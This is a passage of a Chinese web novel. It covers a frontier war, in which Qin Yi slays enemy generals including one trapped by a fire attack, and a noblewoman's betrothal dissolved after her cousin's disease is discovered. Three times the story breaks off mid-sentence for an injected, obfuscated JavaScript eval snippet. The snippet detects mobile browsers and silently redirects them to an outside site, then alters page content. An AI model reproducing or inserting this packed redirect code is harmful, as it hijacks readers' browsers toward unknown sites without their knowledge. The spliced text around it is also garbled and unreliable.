达瓦攻向秦熠的手臂突然一顿,秦熠抓住这转瞬即逝的机会,挑飞达瓦手中的刀。 旁边的北穆军见状想要支援达瓦,可他们被城中百姓和先锋小队的人牵制住,无法脱身。 达瓦大吼一声,提起拳头朝秦熠砸去,豆大的雨滴砸在他的铠甲上,发出清脆的声响,也令他的动作变得迟缓。 秦熠毫不手软,手中残刀斩向达瓦的脖颈,只见一道寒光闪过,达瓦的头颅滚落于地。 雅赞城内瞬间安静了下来,达瓦一死,守城的北穆军丧失了斗志,放下武器,默默抱头蹲在一旁。 整个雅赞城内仿佛只有雨水击打地面的声音。 大雨很快浇灭了粮仓上的熊熊烈火,也冲去了满地的血迹。 “秦熠!”秦柏率领一支队伍匆匆赶来。 秦熠抹了把脸上的雨水,踢了踢脚边的尸体,笑着对老爹说:“爹,我替小叔报仇了!” “好!好小子!”秦柏望着个头比他还高的儿子,欣慰不已。但此刻并非叙旧之时,攻下雅赞城,他们还有诸多事务要处理,“走,尽快将雅赞城清理干净!” * 边疆告捷,定北军攻下雅赞城并斩杀北穆名将达瓦后,朝堂内原本紧绷的气氛瞬间放松。 承武帝一直紧绷着的面孔终于舒展不少。 宁玉瑶从父亲那里得知秦熠又立下大功,心情也愉悦起来。 前些日子,战事不顺,朝堂中大臣们的脸色都不太好看,各家千金也都乖乖待在家中。 如今战事有了新进展,小姐妹们便张罗着一起聚一聚。 此时雁京城已入初冬,树叶凋零,菊花枯萎,梅花尚未绽放,景是赏不成了,就索性约在一起推牌九。 长公主府的小花厅内摆着一张牌九桌,边上置着几张软榻。此刻房内无外人,没打牌的小姐们就慵懒地躺在软榻上闲聊。 宁玉瑶今日手气甚佳,连着赢了好几把,被其他小姐们联手赶下了牌桌,她倒也不在意,往旁边的软榻上一躺,瞧着她们玩。 沈瑜走过来趴在宁玉瑶身上,朝她伸出手,“明安郡主今日运气这般好,可得打赏打赏小的。” 宁玉瑶在沈瑜手上拍了一下,漫不经心地说:“赏你一巴掌。” 沈瑜笑嘻嘻地挪到一旁。 宁玉瑶想起之前在街上看到季逢昌的事,见无人留意这边,压低声音问道:“你那表哥近来还跟你说些不中听的话么?” 沈瑜收起脸上的笑容,有些烦闷地说:“估摸是舅舅训斥过他了,他没再讲过,不过每次见到他,都不怎么愉快。” 宁玉瑶知晓沈瑜对人的好恶极为敏感,她接着问:“那你们这婚约?” 沈瑜烦躁地往宁玉瑶怀里一滚,闷声说:“娘说表哥已经改了,让我别揪着这事不放,舅舅家好歹知根知底,若是以后嫁去别家,恐怕说话会比表哥更难听。” 宁玉瑶却不这么认为,沈瑜在她眼中样样皆好,就是饭量稍大些,这也不算什么毛病,又不是供不起。若是去了别家当家做主母,自己关起门来吃东西谁能知晓? 宁玉瑶想了想,凑到沈瑜耳边轻声说:“前些日子我瞧见你表哥在买胭脂水粉。” 沈瑜听到这话,差点坐起身,幸亏宁玉瑶一直搂着她,将她按住了。 沈瑜知道宁玉瑶绝不会骗自己,她从未收到过表哥送的胭脂水粉。而她舅母用不惯外头买的胭脂水粉,一应物件都是自己府中丫鬟自制的。表哥一个年轻男子买胭脂水粉作什么,简直不用多想。 沈瑜冷冷一笑:“难怪表哥突然对我恶语相向,我寻思他以前也不是不知道我食量大。” “我派人盯着他进了城西春水巷的一个院子里,你打算如何?” 沈瑜轻咬下唇,她一个未出阁的少女,也不便派人打探此事。她仔细思索一番后说:“还是回去告知母亲,母亲应当还是疼我的,若表哥在外头真有什么,母亲仍不改变主意的话,我再想别的办法。” “嗯,”宁玉瑶拍拍她的后背,安抚道,“不是什么大不了的事,你要是没辙了,来找我,我为你做主。” 沈瑜听到宁玉瑶的话顿觉心安,她在宁玉瑶怀里蹭了蹭,笑着说:“就知道玉瑶对我最好了。” 温情脉脉维持不到片刻,牌桌旁的王沁婕对着沈瑜招呼道:“小瑜,我累了,你来接手。” “来了。”沈瑜立马丢下宁玉瑶,跳下软榻,跑去王沁婕身边。 看着沈瑜仿若什么事都没发生的样子,宁玉瑶轻轻叹了口气,希望能有个好结果。虽说自己能够帮小鱼儿解除这桩婚约,但还是沈瑜的父母自行下定决心才是对小鱼儿最好的。 傍晚,沈瑜回到沈府,沈大人尚未归府,只有沈夫人一人在房中查看账册。 沈瑜坐到娘亲身旁,望着娘亲,不知该如何开口。 沈夫人早就知晓女儿进来了,她起初并未在意,可往日叽叽喳喳仿若一只雀儿般的女儿今日却半晌不语,便觉得很是奇怪。 她放下手中的账册,看向沈瑜,问道:“发生何事了?与郡主吵架了?” 沈瑜哭笑不得:“娘,我何时与玉瑶吵过架?” “那你从长公主府回来怎还一脸不高兴的模样?”既然没吵架,那应当没什么大事,沈夫人又继续拿起账册。 沈瑜深吸了一口气:“玉瑶前几日看到表哥买了胭脂水粉进了春水巷的一个院子。”这句话一口气说下来,中间没有半点停顿。 沈夫人却惊得差点撕了手中的账册,她下意识地问了句:“当真?” 沈瑜不高兴地说:“玉瑶骗我作甚?” “不是说郡主骗你,”沈夫人戳了戳女儿的额头,“娘是怕郡主看错了人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081581|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈瑜更不服气:“玉瑶看错了,她身边那么多下人也都看错了?” 沈夫人被女儿说得无言以对,确实,郡主都派人跟着侄子进了春水巷,怎会轻易看错人。 她揉揉眉心,看着惶惶不安的女儿,拉过沈瑜的手,轻声安抚道:“瑜儿莫怕,娘这就去查个清楚,你放心,在娘心里,你才是最重要的。” 沈瑜总算露出笑容:“谢谢娘。” * 季逢昌总觉得自己爹娘有些奇怪,近些日子不再在他面前念叨表妹了。他倒也并非多么喜欢表妹,只是爹娘自幼便就在他耳边说日后要娶表妹为妻,突然不再提及,反倒有些不适应。 但转念一想,季逢昌还是松了口气,若是爹娘愿意打消这个念头,那就再好不过了。他撇了撇嘴,千金大小姐有何趣味,还是莹娘最知情知趣。 季逢昌走了会儿,突然停下脚步,挠了挠难以启齿之处。不知为何,近来此处总有些瘙痒,他也未放在心上,待稍微缓解了痒意,便继续哼着小曲儿晃晃悠悠地走进春水巷。 走到一个小院门口,季逢昌轻轻叩门,“莹娘,我来了。” 没一会儿,木门打开,季逢昌越过开门的仆人,径直往里屋走去。 丝毫没注意到,那个仆人一直垂着头,浑身颤抖,脸上红肿不堪。 “莹娘,莹娘!”季逢昌大声呼喊着掀开门帘,却被眼前的景象定在原地。 他心心念念的莹娘此时正衣衫不整地跪在地上,边上捆着个半身赤裸的魁梧男子。 季逢昌没来得及思考莹娘为何衣衫不整地跪着,他已被桌边坐着两个人吓得说不出话来,那两人正是他的亲生父亲和姑母。 季逢昌磕磕巴巴地喊道:“爹……姑……姑母……” 沈夫人冷笑,“别喊了,我可没这么好的福气。” 沈夫人的哥哥季兆琛听到妹妹满是怒火的话,愧疚地看着沈夫人,“是我教子无方,对不住你。” “大哥,这不关你的事,”沈夫人望着自己满脸皱纹的兄长,到底还是缓和了语气,转头看向季逢昌,“正好你来了,你不好奇这个男人在你心爱的莹娘这里所什么吗?” 季逢昌不太灵光的脑子终于动了下,看着莹娘身上的痕迹,顿时怒不可遏,冲到被捆着的男人面前狠狠揍了他一拳,“是不是你这个畜生欺负莹娘!” 那个男人呸地对季逢昌吐了一口唾沫,“谁欺负她?就他妈一个开门做生意的娼妓,给钱就能来,还欺负,谁他妈稀罕,老子才是倒了八辈子血霉了,嫖个妓还被当成欺负良家妇女。” “不准你侮辱莹娘!”季逢昌被男人的话激得气血上涌,揍男人揍得更狠了。 还是季兆琛看不下去,叫家丁将季逢昌拉开,“你这么生气做什么,他说的都是实话。” 季逢昌却完全听不进去,吼道:“是不是你们设局害莹娘,想要逼我回去娶……唔……唔!” 一旁的侍女见势不妙,连忙上前将窗边的抹布塞到他嘴里。 沈夫人松了一口气,赞赏地看了侍女一眼,现在外头人多眼杂,若真被他在这种腌臢地方喊出瑜儿的名字,那可真是平白毁了瑜儿的声誉。 季兆琛看着自己儿子这幅模样,气得直喘粗气,“就这么个玩意儿还需要我陷害她?这附近谁不知道你的莹娘是个开门做皮肉生意的?也就你把她当个宝!” 季逢昌双目圆睁,显然不信父亲说的话。 沈夫人见季兆琛气得不行,怕他被气出个好歹,赶紧劝道:“大哥,这里乌烟瘴气,不如先把他带回去,再好好教训一番。” 季兆琛看着妹妹,再瞥了眼门外,有人在探头探脑,点头对家丁说:“将少爷捆起来,回府。”至于季逢昌口中那块脏污的抹布,反正死不了人,暂且塞着吧。 44.赏梅 回到季府,季兆琛领着众人来到主厅,坐在正位上,只说了一句“说话前动动脑子。”便让人松开了季逢昌。 在回来的一路上,季逢昌也逐渐冷静下来。被解绑后,他取出塞在口中的抹布,忍不住干呕了几下。 季夫人即便再恼怒,终究还是心疼儿子,急忙让人端来茶水给季逢昌漱口。 季兆琛冷哼一声,“慈母多败儿!” 季夫人刚要发火,但目光一扫瞧见旁边脸色难看的小姑子,顿时熄了火气,默默坐到一旁,不再多言。 “你每次不带人出门,都说去找同窗温习功课,原来都是去那个莹娘那儿了?”季兆琛拍着桌子问道。 季逢昌坐在地上一言不发,他清楚父亲现在肯定已经调查得一清二楚,说再多也只是狡辩罢了。 季兆琛也不在意儿子是否回应,只是吩咐人去把大夫请来。 季逢昌听到这话,终于抬起头来,不解地问:“爹,叫大夫做什么?” 季兆琛不理他,季夫人也满心担忧地看着他,季逢昌顿时慌了,站起身大喊:“到底怎么了?为何突然叫大夫!” 大夫很快就进来了,季逢昌看着大夫径直朝他走来,一边往后退一边说道:“别过来,我没病,我不需要看大夫。” 季兆琛挥挥手,示意家丁按住季逢昌。 季逢昌拼命挣扎,但毫无用处,最后因他本就是文弱书生,自己累了,才停止挣扎。 大夫拉过季逢昌的手,为他仔细把脉,屋内安静异常,只能听到季逢昌的喘息声。 片刻后,大夫面色凝重地收回手,季兆琛和季夫人看到大夫的脸色,心里都猛地一沉,虽然气恼儿子不争气,但终究还是希望儿子身体健康。 季兆琛让正厅内其他人都退下,急切地问道:“大夫,吾儿……” 大夫摇了摇头,叹息一声:“季大人,季公子患上了花柳病,且病情十分严重,恐怕会影响到子嗣。” 季夫人听到大夫的话,险些晕倒。 季逢昌呆坐在原地,嘴里喃喃道:“不可能,不可能!我只有莹娘一个女人,你们定是在骗我!” 季兆琛看着不争气的儿子,狠狠地闭上双眼。过了许久,才说道:“今日有劳大夫了,您慢走。” 大夫对着季兆琛拱手行礼:“季大人请放心,小的知道该如何做。” 季兆琛撑着额头,无力地挥挥手。 待厅内只剩下季家三口和沈夫人时,季兆琛对季夫人说:“去把信物取来。”他所说的信物就是两家定亲时交换的物件,如今季逢昌得了脏病,自然不能再祸害自家外甥女。 季夫人沉默着点了点头,随后离开正厅。 季兆琛看向沈夫人:“妹,是我们季家对不住你。” “大哥,你别这么说,孩子不争气是孩子的事,你永远都是我的哥哥。”沈夫人看着大哥越发苍老的面容,心酸地劝慰道。 季兆琛叹了口气,摆摆手,不再与沈夫人客套。他看向自大夫走后就格外沉默的儿子,冷冷地问道:“你满意了?” 季逢昌呆呆地抬起头看着他爹,不明白父亲这话是什么意思。 季兆琛接着说道:“既然爹娘给你寻的好姻缘你不珍惜,那以后我们也不会再为你做主,免得祸害了好人家的姑娘。” “不,不,爹,我还要娶妻,我还要生儿子!”季逢昌爬到季兆琛腿边,抱着季兆琛的腿哀求道。 “歇了你这个心思吧!”季兆琛扭过头,不再看季逢昌。 得了这种脏病,好人家的姑娘自然不能娶,娶了就是结仇。至于那些别有用心主动贴上来的,他也不会多管。 季逢昌仿佛疯魔了一般,再也没提过莹娘,只是失魂落魄地坐在地上,嘴里不停地念叨着:“我要娶妻,我要娶妻,我要娶妻……” 他怎么也没想到,自己一直以为的缘分天注定的邂逅,原来都是莹娘的算计,那场雨后撞入怀中的巧遇,只是莹娘精心谋划的圈套。 沈夫人冷眼瞧着眼前的这场闹剧,等嫂嫂拿来信物后,立刻告辞回了沈府。 回到自己屋内,沈夫人命人将沈瑜叫来。 沈瑜毕竟是个未出阁的姑娘,许多事情沈夫人不便对她明言,只是告知她季逢昌被人诓骗,染上了疾病,如今两家婚约已解除。 沈瑜眨了眨眼睛,凑上前问道:“染了什么病呀?” “你管他什么病,以后离他远点。你舅舅家……”沈夫人没好气地推开她的脑袋,说着,沈夫人叹了口气,沉默片刻后才继续道,“你舅舅家,以后就让你弟弟去走动吧,你往后少去。” 虽说现在季家对沈瑜心存愧疚,可时间一长,愧疚消散,季家看到自家儿子那副人不人鬼不鬼的模样,难免会对沈瑜心生怨怼,还是减少往来为好。 沈瑜见母亲脸色不佳,没敢继续追问,乖巧地应下。 * “这么说来,你们的婚约取消了?”宁玉瑶问沈瑜。 孙太傅府上的梅花这几日绽放,孙老夫人特意邀请宁玉瑶和沈瑜去赏梅。长者盛情相邀,宁玉瑶和沈瑜自然不会推辞。沈瑜一大早就来到长公主府,与宁玉瑶一同前往。 两人坐在马车上,闲来无事便谈起沈瑜的表哥。 沈瑜一边吃着长公主府准备的点心,一边点头:“娘说表哥病了,婚约就此作罢,信物已经换回来了。” 宁玉瑶微微惊讶地扬起眉毛,她原以为两家会把那个外室打发掉,继续履行婚约呢,毕竟这年头的男人哪个身边没几个莺莺燕燕,在有些长辈看来这根本不算什么大事。 看来小鱼儿表哥的病不简单,不然不会如此轻易地解除婚约。 宁玉瑶有些好奇地问道:“你表哥得了什么病?” 沈瑜也很困惑,“不知道,娘亲不告诉我,还让我少打听。” 一旁的丹素和丹诺无奈地对视一眼,就听着两个未出阁的小姑娘在那儿嘀嘀咕咕地猜测季家公子到底得了什么病,猜了半天也没猜到关键之处。 忽然,两位小姐说话的声音停止,丹诺顿觉不妙。 果然,丹诺听见宁玉瑶吩咐:“丹诺,你去查一下,季逢昌到底得了什么病。” 丹诺自然不敢告诉宁玉瑶实情,只得委婉劝道:“郡主,沈小姐,沈夫人不愿说,必定这不是什么能宣之于口的事情,您和沈小姐还是听沈夫人的,别再管季公子的事了,免得污了您和沈小姐的耳朵。” 丹诺自从跟在宁玉瑶身边,从未违抗过她的命令,宁玉瑶见她这般说,意识到这事恐怕真不太适宜让她们知晓。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101431|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宁玉瑶和沈瑜都不是执拗之人,既然都说她们不知道为好,便将此事搁置一旁。 宁玉瑶又向沈瑜问起另一件事:“诓骗了你表哥的那个外室,你舅舅就这么放过她了?” “倒也没有,舅舅对那个女人恨之入骨,但她已病入膏肓,命不久矣,舅舅也没对她做什么,只是断了她的药,看她能撑多久算多久吧。” 眼看宁玉瑶的好奇心又被勾起,想要问那个女人得了什么病,丹素赶紧提醒道:“郡主,沈小姐,太傅府到了。” 宁玉瑶和沈瑜立刻忘记了刚才闲聊的话题,让侍女们整理好她们的衣冠。 明安郡主到访,孙老夫人身为长辈虽未出门迎接,但特意让儿媳孙太傅夫人亲自在门口等候。 宁玉瑶下马车时,看到孙夫人颇感意外,赶紧上前扶住正准备行礼的孙夫人,“孙夫人不必多礼,您这般盛情,可真是让晚辈受宠若惊。” 她深知舅舅对孙太傅信赖有加,否则也不会让孙太傅继续教导太子,故而对孙夫人也以礼相待。 沈瑜这时也下了马车,连忙上前向孙夫人见礼。 孙夫人看着眼前两个标致的小姑娘,笑得开怀。她家全是男子,一个女娃都没有。长子明年要参加秋闱,最近整日待在国子监温书,次子则在兴州书院游学,家中冷清得很。 难怪婆母自从给明安郡主行笄礼担任正宾回来后,一直对明安郡主和沈家姑娘念念不忘,果真是两个标致的女娃儿。 孙夫人满脸笑容一手牵一个向府内走去。 * 太傅府今日宴请贵客,孙老夫人特地吩咐家中男丁无事少去梅园晃悠,以免冲撞了贵客。 孙文炤前几日不在府中,早上刚从国子监回来,打算穿过梅园回自己院子休息时,被侍女拦下,“少爷,老夫人今日邀了贵客来府上赏梅,还请您从另一侧绕过去。” 听闻是祖母的吩咐,孙文炤并未在意,正准备离开时,梅树间隐隐绰绰出现两道倩影。 孙文炤身边的小书童惊呼出声:“少爷,那不是……在兴州见过的……姑娘么……”小书童在孙文炤的瞪视下声音越来越小。 “噤声。” 书童连忙闭嘴,不敢再言语。 孙文炤伸手敲了敲书童的脑袋,“别再乱说。”说罢转身离开梅园。 小书童揉揉脑袋,不敢再多嘴,他知道自家少爷看似温和,但若自己真敢出去胡咧咧,少爷是真会狠下心罚他。他不敢再看梅园,快步跟着孙文炤离去。 梅园中,一株株梅花树挺拔秀美,粉白或浅黄的花朵点缀在光秃秃的枝干上,阳光洒在梅花上,给它们披上了一层金色的光辉,偶尔有鸟儿从树梢飞过,发出清脆的鸣叫声。 宁玉瑶和沈瑜一左一右陪在孙老夫人身边。 孙老夫人拍拍扶着她的沈瑜,“怎么样,郡主,沈丫头,老身这梅园的景色可还入得了你们的眼?” 宁玉瑶眉眼弯弯,笑意盈盈地说道:“孙老夫人,您这梅园的景色别具一格,处处皆似画卷,赏心悦目得紧。” 沈瑜也连连点头,接口道:“可不是嘛,老夫人,您这梅园就如同那人间仙境一般,美得让人挪不开眼。” 孙老夫人被两个小姑娘哄得更加高兴,带着两人往梅园深处走去。 45.截杀 冬去春来,又是新的一年,宁玉瑶十七岁了。 雁京城中今年并无大事,最大的一桩便是大皇子离宫建府,并被指淑妃母家谢家家主的嫡女为大皇子妃,择日完婚。 宁玉瑶身边的小姐妹们也陆续定亲,唯独她和沈瑜尚无动静。她对此倒没什么特别感觉,只是沈瑜家的门槛都快被冰人踏破了。 沈夫人既欣喜又发愁,毕竟事关女儿的终身大事,总想挑个尽善尽美之人,可这又谈何容易。 沈瑜倒是心宽得很,时常在宁玉瑶面前嘟囔:“真不知道娘亲在愁什么,男人不都一个样嘛。”沈瑜也是因表哥之事而心灰意冷,毕竟连青梅竹马的表哥都能说变心就变心,还有谁靠得住?不如随便找个人凑合算了。 这话惹得宁玉瑶对沈瑜好一顿打,她自己也有个青梅竹马呢,整日提心吊胆的,最不爱听这些乱七八糟的话。 沈瑜也不怵她,见宁玉瑶恼了,贴过来笑嘻嘻地说:“放心吧,秦小将军可不是我表哥那样的人。” 宁玉瑶懒得理她,沈瑜却又问道:“玉瑶,你说这场仗还要打多久?” 一旁的青黛简直胆战心惊,我的沈小姐,您可真是哪壶不开提哪壶,今儿聊的话题没一个能让郡主开心的。 这谁知道呢。 宁玉瑶望着亭外飞过的鸟雀,转眼即将入夏,熠哥哥离开快一年了。 上一次秦将军他们追着北穆打了三年才让他们消停,这一次恐怕会耗时更久。 * 被宁玉瑶挂念着的秦熠,此刻正率领先锋营的兵士们隐匿在戈壁滩上的一处断壁后。 他盯着远处夕阳下悠闲的羊群,忍不住咂了咂嘴。 越深入北穆,越是荒凉。他们已有许久未曾尝过肉味,实在是馋得厉害。然而他们不敢轻举妄动,只能眼睁睁看着羊群在牧羊人的驱赶下慢慢走远。 旁边的小兵忍不住小声嘟囔道:“这种苦日子啥时候才是个头啊!” 严耕一脚踹向那个小兵,低喝道:“少废话,注意戒备。”小兵立刻闭上嘴,不敢再吭声,其他人也都噤若寒蝉。 他们现在已深入北穆腹地,下一步计划攻打的是距离王城仅有两座城池之隔的彔安城。秦熠奉令率领一支千人的轻骑小队从拉布戈壁绕行,对彔安城进行包抄。 出发前,秦柏特意下令,不管途中发生何事都不得耽搁,否则军法处置。此时他们就是在拉布戈壁的入口处。 等到羊群完全消失不见,秦熠这才下令继续前行。 他们沉默着在一个巨型的岩石阵中疾行。 戈壁上的风很大,风从远处吹来,带来了一些不同寻常的声音。 秦熠立即勒马示意停下,他凝神侧耳倾听,片刻后轻声说:“我和严耕过去看看,其他人注意隐蔽。” 他们翻身下马,小心翼翼地靠近声音传来的地方。 岩石阵中有一片空地,那里屯扎着许多北穆士兵。 严耕大致估量,至少有两千人。当初随文攸礼一同前往雁京的巴其特在人群中高声呼喝着,而秦熠则望向旁边那位约摸六十岁的北穆老将,微微眯起了眼睛。 那是北穆大将札木哲,他作战极为悍勇,且凶狠残暴。但凡他带兵侵犯大宸,必定下令屠城。秦熠的祖父以及他阿姐的两个孩子,皆死于札木哲之手。 但秦熠知道此刻不是报仇的时候,他必须尽快赶赴彔安城支援。 正当秦熠打算与严耕撤退时,有两名北穆士兵走了过来。 秦熠和严耕对视一眼,心中盘算若被他们发现,便一人解决一个。没想到这两人在距他们不到两米之处停了下来,这两人只是过来小解。 若能不引起敌人察觉,秦熠定然不会打草惊蛇,他与严耕警觉地盯着那两名北穆士兵。 那两名北穆士兵一边小解一边闲聊:“听说雅赞城里的贱民已经向大宸投降了?” “不止雅赞城,前面那些被大宸占领的城池都投降了。” “哼,贱民就是贱民,这次去把他们全杀了,看谁还敢投降。” “将军打算先拿谁开刀?” “落茳城……” 两名北穆士兵小解完毕渐渐走远,声音也慢慢消失不见。秦熠打了个手势,示意赶紧撤。 等到远离北穆驻扎的营地,严耕才小声问道:“怎么办?” 定北军与北穆交战多年,大部分定北军兵士都能听懂一些北穆语言,这两个北穆士兵的交谈,秦熠和严耕听得清清楚楚。 秦熠有些犹豫。落茳城留下的守军不多,若是真让札木哲带兵过去,恐怕很快就会被他重新占据。 但他们出发前,父亲特意下令,必须尽快赶到彔安城。否则一旦他们支援不及,率先攻打彔安城的定北军将会反被北穆包围,后果更加不堪设想。 “先回去再说。”秦熠打算再好好思量一番。 回到先锋营隐匿于巨岩丛中,原本正在摆弄一团黑色粘稠液体的士兵们,见满脸肃穆的秦熠和严耕归来,立刻放下手中的木棍,“秦都司,旅帅,发生什么事了?” 秦熠没有回答,反倒问道:“你们在做什么?” 士兵们指向一块岩石道:“那岩石中有个洞穴,里面都是这种黑色之物,模样很是怪异,我们便弄了些出来看看。” 秦熠看着地上的黑色液体,并未看出有何特殊之处,但它散发着一股刺鼻的气味。 突然,他想起一事,从衣襟中取出火折子掷向那团黑色液体,只听“轰——”的一声,那团液体瞬间燃起,把旁边的兵士们吓了一跳。 “好家伙!燃得这么快!” 秦熠嘴角微微上扬,果然是北穆禁物——黑油。他果断下令:“留五十人随我截杀札木哲,严耕,你率其他人速速赶去支援彔安城,所有罪责,由我一人承担!” 严耕一惊,秦将军言及军法处置,绝非虚言,他欲张口相劝,可秦熠却道:“札木哲必须留在这里,否则不但之前攻占的城池会被他重新夺回,身处北穆腹地的定北军也会陷入腹背受敌之境。” 听秦熠如此一说,严耕知道他所言在理,然而,“只有五十人,你们如何敌得过札木哲?” 秦熠低头看向地面上燃烧着的黑色液体,眼中映照着熊熊火光,他微笑着说:“我们不硬拼,有这些东西,用火攻过去。” 严耕略一思忖,便明白他的意图,用力拍了拍秦熠的肩膀,转身带着其余九百多人离去。 秦熠望向留在原地的兵士们,“放心,我不会带你们去送死。” 兵士们反倒笑了,“秦小将军太小瞧我们了,若真能杀了札木哲,我们即便死在这里又有何妨!” 他们皆是土生土长的定州人,谁没有家人死于札木哲的屠城令下?若能为家人报仇,即便身死亦是幸事。 “好,你们带我去发现这种黑色东西之处,我们好好商议下接下来的计划。” * 戈壁滩的夜晚寂静无声,唯有风吹过裸露的岩石,发出细微的簌簌声。 札木哲躺在毛毡垫上,并未入睡,他在脑中思考着明日抵达落茳城后,要如何给那群贱民好看。 待到夜深,他欲就寝之时,突然嗅到一股刺鼻气味。 这味道……是黑油!札木哲面色一变,迅速起身向帐外冲去。 只见营地外的山岩上站着十几人,正往他们的营地泼洒黑油。瞧见有人出来,他们同时朝这边射出带火的箭矢。 札木哲大声喊道:“快拦住那些箭!” 但已然迟了,火箭落在黑油上,整个营地瞬间化作一片火海。 “这是什么鬼东西!”沾上黑油的北穆士兵在地上翻滚着,试图灭掉身上的火焰,然而不管他们如何翻滚都是徒劳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116975|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有士兵在往身上浇水,但也毫无用处,反倒让火势愈发凶猛。 黑油是北穆贵族才能使用的燃料,这些下等士兵从未见过这东西,自然不知道它的厉害。 札木哲看着哀号不断的士兵,以及在火海中挣扎发狂的马匹和骆驼,咬了咬牙,喊道:“随我冲出去,否则都会死于这里!” 未沾上黑油的士兵跟着札木哲往营地外跑去,但很快被外面用黑油燃起的宽阔火带逼了回来。 “将军,怎么办?”巴其特望着面前的火海,焦躁地问道。地面满是黑油,只要踩上去,他们也会立即燃烧起来。 札木哲眼中满是狠戾,他随手抓过一个士兵,将那人推入火中。 火海中出现一个缺口,但很快,那名士兵挣扎着爬起,带着满身火焰扑向札木哲。札木哲反手一刀扎在士兵的胸前,那名士兵僵硬地跪在札木哲面前静静燃烧着。 旁边的士兵们见到这一幕,纷纷往后退。但对上札木哲凶狠的目光,“我看谁敢再动一步。” 札木哲和巴其特脚踩着士兵的尸体冲入火海。突然一声惨叫传来,札木哲匆匆一瞥,巴其特左胸插着一支箭矢倒在火焰中,挣扎着嚎叫着。 札木哲顾不上巴其特,躲过再次射来的箭雨向外跑去。 好不容易从火海中冲出来,札木哲急忙扑灭自己身上的火焰。因他身上未沾上黑油,火苗很快便被扑灭。 又一阵破空声传来,札木哲急忙侧身闪躲,一支箭矢贴着他的耳朵擦过,将他的耳廓带走大半。他恼怒抬头,却看见前方不远处站着一个人影。 “札木将军,好久不见。” “秦熠!”札木哲看着面前这张在炽热的火光映照下微微扭曲的面庞,“原来是你在搞鬼。” 秦熠对札木哲微微一笑,但并不打算跟他叙旧,直接抽出佩剑向札木哲攻去。 札木哲眼中凶光毕露,连忙提刀抵挡,却觉一股大力传来,震得他手臂微微发麻。 秦熠得势不饶人,手腕一转,剑如灵蛇般再次刺出。 札木哲仓促后退,险险避过这一击。他心中暗惊,这秦熠多年未见,武艺竟又精进了。他稳住身形,怒吼一声,举刀向秦熠劈去。刀风呼啸,带着狠戾之气。 秦熠不慌不忙,侧身一闪,轻松避开。札木哲反应也是极快,快速调转刀锋,刀剑相交,发出清脆的撞击声。然而他毕竟年岁已高,体力远不及秦熠,很快身上便被秦熠划了许多道口子。 札木哲气喘吁吁,额头上冒出细密的汗珠。随着身上伤口越来越多,他愤怒地大吼一声,不顾一切地向秦熠攻去。 秦熠身上虽也被他砍了两刀,但远不如他这般严重,游刃有余地挡下他拼尽全力的一刀。 随着黑油渐渐被烧尽,火势慢慢减弱,札木哲也彻底力竭倒地。秦熠一脚踩在他的头上,冷漠地看着他。 札木哲本还想再多说几句激怒秦熠,以便拖延时间,未曾想,一道寒光闪过,他再也没有说话的机会了。 秦熠踹了踹地上的尸首,嗤笑一声,“老子才懒得跟你废话。” 北穆的营地内此时仅有零星的火苗在戈壁的风中跳跃着。秦熠清点自己这边的人手,还剩三十九人,比预想中要好许多。 “去里面看看还有没有漏网之鱼,小心别被偷袭。”秦熠率先向营地内走去。 没想到刚走到营地口,变故陡生,只听“轰隆”一声巨响,秦熠脚下的岩石地面突然裂开一道口子。 秦熠只觉脚下一空,身体瞬间失去控,他心中大惊,本能地伸手去抓旁边的东西,却只能眼睁睁地看着自己和身边的人一起掉进了深不见底的地洞中。 “秦都司!”身后的兵士们想要拉住他们,但很快,地洞旁边的岩石跟着崩塌,将洞口彻底掩埋。 尘埃漫天飞扬,一切都陷入了黑暗之中。 46.水源 “咳咳咳……” 黑暗的地下。 秦熠推开压在自己身上的岩石,揉了揉被砸得生疼的胸口,掏出火折子吹亮。 他此刻身处一个巨大的地下甬道中,但无暇仔细观察。他看到旁边的石堆下露出一只手,急忙爬起身,用剑将人挖了出来。 是先锋营的兵士。 秦熠不敢有丝毫耽搁,继续在坍塌的土堆中挖掘。直至他的配剑卷刃,才将能够挖到的人全部救出。然而,在更深处的地方,若盲目挖掘,这片区域极有可能坍塌得更为严重,他无奈之下不得不放弃。 方才他一共挖出了十四个人,有两人已完全停止了呼吸,其余十二人状况也不容乐观。 秦熠借着火折子微弱的光芒,看着甬道上方开裂的岩壁,断裂处仍不断有碎石掉落,他明白此地不可久留。 尽管自己的肋骨隐隐作痛,似乎断了几根,秦熠也没多犹豫,仗着自己一身蛮力,肩上扛两人,手中再拖两人,往返三次才将这十二人拖到离这里较远的地方。 没过多久,他们之前停留的地方被掉落下来的岩壁彻底掩埋。 